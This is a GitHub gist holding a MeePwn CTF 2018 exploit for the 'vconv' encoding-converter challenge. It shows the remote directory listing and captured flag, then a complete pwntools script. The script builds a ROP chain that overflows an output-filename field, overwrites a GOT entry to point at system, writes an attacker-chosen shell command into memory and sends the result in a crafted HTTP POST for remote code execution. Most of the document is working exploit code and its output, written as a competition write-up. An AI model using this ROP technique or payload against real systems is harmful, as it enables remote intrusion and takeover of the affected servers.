Skip to content

Instantly share code, notes, and snippets.

@v0s
Created August 27, 2018 16:16
Show Gist options
  • Save v0s/109a1e1dae38df8803b2795e9774d10a to your computer and use it in GitHub Desktop.
Save v0s/109a1e1dae38df8803b2795e9774d10a to your computer and use it in GitHub Desktop.
Meepwn 2018 vconv exploit

Meepwn 2018 'vconv' exploit

The chall features an off-the-shelf Vietnamese encoding converter, and was not solved during the CTF by any team.

while true ; do python meepwn_vconv_exploit.py HOST=178.128.217.117 PORT=7171 'ls -la ~' | grep -A10 out: ; done
<...>
out:total 84
drwxr-x--- 1 root unikey  4096 Aug 26 06:40 .
drwxr-xr-x 1 root root    4096 Aug 26 06:40 ..
-rw-r--r-- 1 root unikey   220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root unikey  3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 root unikey   655 May 16  2017 .profile
-r--r----- 1 root unikey    32 Aug 24 08:39 flag_d560c6c7d32ba480658a92201fbbbe4b
-rwxr-x--- 1 root unikey 58124 Aug 24 09:44 uvconv
while true ; do python meepwn_vconv_exploit.py HOST=178.128.217.117 PORT=7171 'cat ~/flag_*' | grep -A10 out: ; done
out:MeePwnCTF{unikey_is_damm_coool}
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 5000)
shell_command = sys.argv[1]
shell_command += "/"
shell_command += "#"*(4 - len(shell_command) % 4)
dldir = '/tm1234567890/'
## length leaker:
# payload = dldir.ljust(271, "A") + "\xef" + p32(0x08049194) + "AAA\xef" + p32(0x0804bb98)
### my libc:
# 00018d90 T __libc_start_main
# 0003cc60 W system
# 023FD0
### remote libc:
# 00018540 T __libc_start_main
# 0003a940 W system
# 022400
rop = ""
rop += dldir.ljust(272, "A")
### 1. Patch __libc_start_main to system
if not args.HOST: # local libc
rop += p32(0x0804a4d7) #: pop ebx ; ret ; (1 found)
rop += p32(0x4141bfd0) # first diff byte: D0
rop += p32(0x08049dd2) #: pop esi ; ret ; (1 found)
rop += p32(0x08052068 - 0x5f) # __libc_start_main at GOT
rop += p32(0x0804b0d9) #: adc byte [esi+0x5F], bl ; pop ebx ; ret ; (1 found)
rop += p32(0x4141413f) # second diff byte: 3F (incl. carry)
rop += p32(0x080490c3) #: inc esi ; add eax, 0x08053D2C ; add ecx, ecx ; ret ; (1 found)
rop += p32(0x0804b0d9) #: adc byte [esi+0x5F], bl ; pop ebx ; ret ; (1 found)
rop += p32(0x41414102) # third diff byte: 02
rop += p32(0x080490c3) #: inc esi ; add eax, 0x08053D2C ; add ecx, ecx ; ret ; (1 found)
rop += p32(0x0804b0d9) #: adc byte [esi+0x5F], bl ; pop ebx ; ret ; (1 found)
rop += "aaaa"
else: # remote libc
rop += p32(0x0804a4d7) #: pop ebx ; ret ; (1 found)
rop += p32(0x41414124) # second diff byte: 24
rop += p32(0x08049dd2) #: pop esi ; ret ; (1 found)
rop += p32(0x08052068 - 0x5f + 1) # __libc_start_main at GOT
rop += p32(0x0804b0d9) #: adc byte [esi+0x5F], bl ; pop ebx ; ret ; (1 found)
rop += p32(0x41414102) # third diff byte: 02
rop += p32(0x080490c3) #: inc esi ; add eax, 0x08053D2C ; add ecx, ecx ; ret ; (1 found)
rop += p32(0x0804b0d9) #: adc byte [esi+0x5F], bl ; pop ebx ; ret ; (1 found)
rop += "aaaa"
### 2. Write command into RW memory using rop
rop += p32(0x08049dd2) #: pop esi ; ret ; (1 found)
rop += p32(0x08053E50) # some RW memory
for i, chunk in enumerate([shell_command[i:i+4] for i in range(0, len(shell_command), 4)]):
rop += p32(0x0804a3ce) #: mov eax, esi ; add esp, 0x0C ; pop esi ; pop edi ; pop ebx ; pop ebp ; ret ; (1 found)
rop += "A"*0x0C
rop += "aaaa" #esi
rop += "aaaa" #edi
rop += chunk #ebx
rop += "aaa\xE0"
rop += p32(0x08049fbe) #: mov ecx, ebx ; mov dword [eax], ecx ; mov eax, 0x00000001 ; add esp, 0x0C ; pop esi ; pop edi ; pop ebx ; pop ebp ; ret ; (1 found) (prefix '\xe0'))
rop += "A"*0x0C
rop += p32(0x08053E50+4 + 4*i) #esi
rop += "aaaa" #edi
rop += "aaaa" #ebx
rop += "aaaa"
### 3. Call system(command)
rop += p32(0x08049dd2) #: pop esi ; ret ; (1 found)
rop += p32(0x08052068) # now system in GOT
rop += p32(0x0804a3ce) #: mov eax, esi ; add esp, 0x0C ; pop esi ; pop edi ; pop ebx ; pop ebp ; ret ; (1 found)
rop += "A"*0x0C
rop += "aaaa"
rop += "aaaa"
rop += "aaaa"
rop += "aaaa"
rop += p32(0x0804a4d1) #: call dword [eax] ; (1 found)
rop += p32(0x08053E50) # now our command
rop += "A"*0x14
rop += "aaaa"
rop += "aaa\xef"
rop += p32(0x08049980) # call exit
## one byte leaker:
#rop = ""
#rop += dldir.ljust(271, "A") + "\xef"
#rop += p32(0x08048000 + 0x00001aa3) # pop ebx ; ret
#rop += "AAA\xef"
#for i in range(43):
# rop += p32(0x08048000 + 0x00001aa3) # pop ebx ; ret
# rop += "AAA\xef"
#rop += p32(0x08048000 + 0x00002295) # pop edi ; pop ebx ; ret
#rop += "AAAA"
#rop += "AAA\xef"
#rop += p32(0x0804938C)
#rop += "AAAA"
#rop += p32(0x08052068)
#rop += "\x01"
# rop = ""
# rop += dldir.ljust(271, "A") + "\xef"
# rop += p32(0x08048000 + 0x00001aa3) # pop ebx ; ret
# rop += "AAA\xef"
# rop += p32(0x08048000 + 0x00002295) # pop edi ; pop ebx ; ret
# rop += "AAAA"
# rop += "AAA\xef"
# rop += p32(0x0804938C)
# rop += "AAAA"
# rop += p32(0x08052039)
# rop += "\x01"
payload = rop
if args.LOCAL or args.QIRA or args.EDB:
try:
payload.decode("utf8").encode("utf8")
except Exception as e:
print "Unicode warning: " + repr(e) + "\n"
io = process(['./uvconv', '/tmp/inin.txt', '-f', 'UTF-8', '-t', 'VISCII', '-o', payload])
io.interactive()
else:
io = connect(host, port)
payload = payload[len(dldir):]
postdata = """------WebKitFormBoundaryVLTYZ1JvpB4k82JB\r
Content-Disposition: form-data; name="infile"; filename="inin.txt"\r
Content-Type: text/plain\r
\r
hello world\r
\r
preved medved\r
------WebKitFormBoundaryVLTYZ1JvpB4k82JB\r
Content-Disposition: form-data; name="incharset"\r
\r
UTF-8\r
------WebKitFormBoundaryVLTYZ1JvpB4k82JB\r
Content-Disposition: form-data; name="outcharset"\r
\r
VISCII\r
------WebKitFormBoundaryVLTYZ1JvpB4k82JB\r
Content-Disposition: form-data; name="outfile"\r
\r
""" + payload + """\r
------WebKitFormBoundaryVLTYZ1JvpB4k82JB--\r
"""
http = """POST /convert HTTP/1.1\r
Host: 178.128.217.117:7171\r
Connection: close\r
Cache-Control: max-age=0\r
Origin: http://178.128.217.117:7171\r
Upgrade-Insecure-Requests: 1\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVLTYZ1JvpB4k82JB\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r
Referer: http://178.128.217.117:7171/\r
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7\r
Accept-Encoding: gzip, deflate\r
Content-Length: """ + str(len(postdata)) + """\r
\r
""" + postdata
io.send(http)
print io.recvall()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment